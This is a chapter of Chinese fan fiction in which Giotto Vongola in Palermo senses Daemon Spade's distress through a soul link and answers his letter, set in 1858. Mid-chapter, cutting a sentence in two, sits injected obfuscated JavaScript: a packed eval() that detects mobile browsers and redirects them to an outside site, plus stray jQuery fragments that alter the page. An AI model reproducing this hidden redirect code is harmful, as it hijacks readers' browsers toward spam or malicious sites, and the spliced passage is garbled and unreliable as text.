同一时间，巴勒莫。


    与都灵的严寒不同，这座地中海沿岸的城市虽然已经入冬，却没有半点积雪，只有带着海腥味的微风掠过贫民窟的低矮屋顶，卷起细碎的沙尘。


    乔托·彭格列正在贫民窟边缘的空地上带领自卫团的核心成员训练。


    今天进行的不是刀剑相向的武斗训练，而是他根据戴蒙信件中的信息，结合自己的摸索，特意设计的精神训练。十个人围成一圈，盘腿坐在粗糙的沙地上，腰背挺直，闭上眼睛，放缓呼吸，试着去捕捉体内那股若有若无的流动的能量。


    乔托平静地指导着：“不要强迫它。像血液在血管里流动一样，去感受心跳的节奏，它就在那里，是你的一部分。你要做的不是强行召唤它，而是静下心来感知、沟通、引导。”


    G坐在他的左侧，眉头紧皱，额前的红发被汗水打湿，指尖无意识地扣着沙地，显然对这种训练有些不耐烦。塞弗诺拉在右侧，脊背挺得笔直，专注的表情下藏着压不住的焦躁。其他几个少年也都一脸肃穆，尽管大多数人还什么都感觉不到，却没人轻易睁开眼睛。


    就在众人的呼吸逐渐平稳的时候，乔托的心脏却猛地一缩，一阵尖锐的疼痛顺着心脏蔓延至四肢。


    他眼前一黑，脑海中炸开无数破碎的画面，清晰得仿佛身临其境：一个金色头发的女子蜷缩在椅子上低声哭泣，蓝色的眼睛里没有半分光亮；骨节分明的手紧紧攥着，手背上的青筋暴起；华丽的城堡走廊，猩红的地毯，烛台上闪着冰冷的光。


    还有汹涌的愤怒，深入骨髓的无力，以及一种想要保护什么却发现自己什么都做不了的耻辱感。


    这些画面和情绪都不是他的，却如此强烈，像洪水一样冲垮了他识海的堤坝。


    乔托猛地睁开眼睛，呼吸急促，胸口剧烈的起伏，指尖微微颤抖着。周围的少年们被惊动了，纷纷看向他，脸上满是担忧。


    “乔托？”G压低声音问道，身体微微前倾。


    “没事。”乔托轻轻摆了摆手，声音有些发虚。他能感觉额头和双手的掌心传来一阵阵灼热，橙金色的火焰在皮肤下蠢蠢欲动。他立刻闭上眼，强行压制这股躁动，缓缓深呼吸，想象那股热流像一条小溪一样在血脉中循环沉淀。


    但比火焰的躁动更强烈的，是那种深入灵魂的连接感。就像有一根无形的线，一端系在巴勒莫的这片沙地上，另一端穿过山脉河流，系在了都灵某座宅邸的书房里，戴蒙·斯佩多身上。


    戴蒙出事了。


    从感受到的情绪来看，和那个哭泣的女孩有关。艾琳娜。尽管尚未真正见面，但乔托已经单方面的将那位可敬的姑娘当作了真正的朋友。


    精神共鸣还在加剧。乔托清楚地感觉到，如果他再不做点什么，很可能会再次引发灵魂互换，而在训练场上，在这么多核心成员面前，一旦暴露了这件事，后果不堪设想。


    他强迫自己冷静下来，努力回忆戴蒙教给他的精神标记的感应方法。他集中所有精神，在意识深处构筑那个特定的符号，然后顺着那条无形的线，向着都灵的方向，向着戴蒙轻轻送去了一丝微弱的情绪：冷静。稳住。我在这里。


    他不知道这样做有没有用，但几秒后，他感觉到那股来自北方的剧烈情绪波动开始减弱，灵魂被拉扯的感觉也逐渐消退，脑海中那些破碎的画面也一点点淡去，只剩下深深的疲惫和一丝苦涩的余韵。


    那条无形的连线并没有断开，却不再躁动紧绷，逐渐变得平稳温和。


    乔托缓缓睁开眼，长长吐出一口气。他垂眸看向自己的手，发现手掌还在微微颤抖，掌心的灼热感尚未完全褪去。


    “今天就到这里。”他抬眼看向周围的少年们，声音尽量保持平稳，“大家回去好好休息，明天继续。”


    少年们虽然疑惑，但还是听话地站起身，三三两两地离开了空地。人群散去后，只剩下G和塞弗诺拉站在原地。


    G直接问：“你感觉到了什么吗？”


    乔托轻轻点了点头：“嗯，我感觉到北边，都灵那边，出了点事，和我们那位通信的朋友有关。”


    塞弗诺拉挑挑眉：“需要我们做什么？”


    “暂时不用。”乔托站起身，拍掉裤子上的沙土，“但接下来几天，我要花更多时间在集中训练上，努力巩固精神感知和火焰的控制。自卫团的日常事务就辛苦你们了。”


    G盯着他看了几秒，缓缓点头：“行。但乔托，我必须再强调一遍，如果那家伙那边的事会波及到我们，或者波及到你，你必须第一时间告诉我们。”


    乔托微微笑了笑：“我保证。”


    G和塞弗诺拉离开后，乔托独自一人走向巴勒莫港。


    傍晚的海风裹挟着咸味和鱼腥味迎面吹来，吹乱了他额前的金发。他走到防波堤上，双手扶着冰冷的石栏，望着遥远的北方海平线，太阳正缓缓下沉，将天空染成一片暗沉的紫红色。


    他再次想起了那个问题：“当火焰涌动时，是追随它的灼热，还是用理智冷却它？”


    现在，他终于有了答案。


    既不能盲目的追随，被愤怒与冲动裹挟；也不能强行冷却，磨灭心底的坚持。要像海员一样，读懂风的方向，随时调整//风帆，借着风力稳步前进。


    愤怒改变不了局面，但能让人看清自己的底线，无力是事实，但不能让它麻痹精神。能保护什么，就尽力去保护，保护不了的，至少记住那份痛，让它成为未来的动力。


    ————————————


    戴蒙收到了回信。


    没有通过常规渠道，而是由马尔切洛亲自送来的，使用了加急路线，只用了三天就从巴勒莫送到了都灵。


    他拆开信封，里面只有薄薄的一页纸，字迹工整有力，是乔托的笔迹，但比以往任何一封信都更沉稳。


    【……保护能保护的，守住能守住的。这是你现在能做的唯一的事，也是最有意义的事。无论发生什么，无论相隔多远，我们共同面对，绝不独行。】


    信的落款处除了名字，还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271382|197482||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多了一个简单的符号——一圈橙色的线条，中间是一个小小的点，像微缩的太阳。


    戴蒙握着这张信纸，再次走到书房的窗前。窗外是都灵阴沉的冬夜，地面上覆盖着一层厚厚的雪，天空被乌云覆盖，看不见星星。


    他站在窗前，将信读了好几遍。


    每读一遍，心底的疲惫与苦涩就减轻一分，那些汹涌的愤怒与无力，渐渐被一种微弱而坚定的力量取代。


    他缓缓闭上眼，忽然意识到，这条因为灵魂互换而建立的通信渠道，这个最初仅限于技术探讨的冰冷联系，早已在日复一日的书信往来中，变成了一种更加复杂深厚的东西。


    那是一个可以分享心底的重负，而无需伪装的桥梁，桥对面是一个无需过多解释，就能理解彼此愤怒与不甘的人，一个在命运的悬崖边并肩而立，彼此支撑的存在。


    还称不上盟友。他们的立场截然不同，阶级不同，目标不同，前路有着无法逾越的鸿沟。


    但他们共享着火焰的秘密，共享着灵魂的秘密，共享着对这个时代不公之事同样炽烈的愤怒，也共享着对现实无力却又不愿屈服的倔强。


    这份共享，早已超越了立场与阶级的隔阂。


    戴蒙将信纸仔细折好，放进外套的内袋，那里已经躺着一封他写好给艾琳娜的信。信里没有虚假的安慰，只有一份详细周密的行动计划，写明如何在公主婚礼前保障她的权益与尊严，并在婚后通过隐秘渠道持续施加影响，尽可能减少伤害。


    【愤怒改变不了既定的局面，但它能让人看清自己的底线，看清心底那份不愿被磨灭的坚守。】


    乔托说得对。


    戴蒙缓缓抬起左手，一缕靛蓝色的雾之炎无声燃起，在昏暗的书房里泛着柔和的光，火焰稳定，顺着他的意念缓缓流转。


    “共同面对……吗？”他对着窗户玻璃上模糊的倒影低声自语，语气里带着一丝嘲讽，却没有半分厌恶。


    或许，在这片看不到光的黑暗里，有一个知道同样的秘密，背负着同样的重压，无需多言便能彼此理解的人，不算是……糟糕的事。


    同一时间，巴勒莫。


    乔托独自站在贫民窟最高的屋顶上，望着北方的星空。巴勒莫的夜风清澈，银河横跨天际。


    他缓缓摊开右手，一缕橙金色的火焰渗出。


    “愤怒、无力、守护……”乔托望着掌心的火焰自言自语，橙金色的火光在他瞳孔中轻轻跳动，“这就是你背负的东西吗，戴蒙·斯佩多？”


    他们之间这条无形的线，这条由灵魂互换、火焰共鸣、命运编织而成的线，究竟会将他们引向深渊，还是光明？


    乔托不知道答案。


    他慢慢握紧拳头，掌心的火焰随之缓缓熄灭，只留下一丝淡淡的温暖余韵。


    晚风轻轻拂过他的衣衫，掠过贫民窟的屋顶，吹向远方的港口与海面，而历史的车轮，正隆隆地碾过1858年的深冬，碾过都灵的残雪，碾过巴勒莫的星空，向着更加动荡的未来驶去。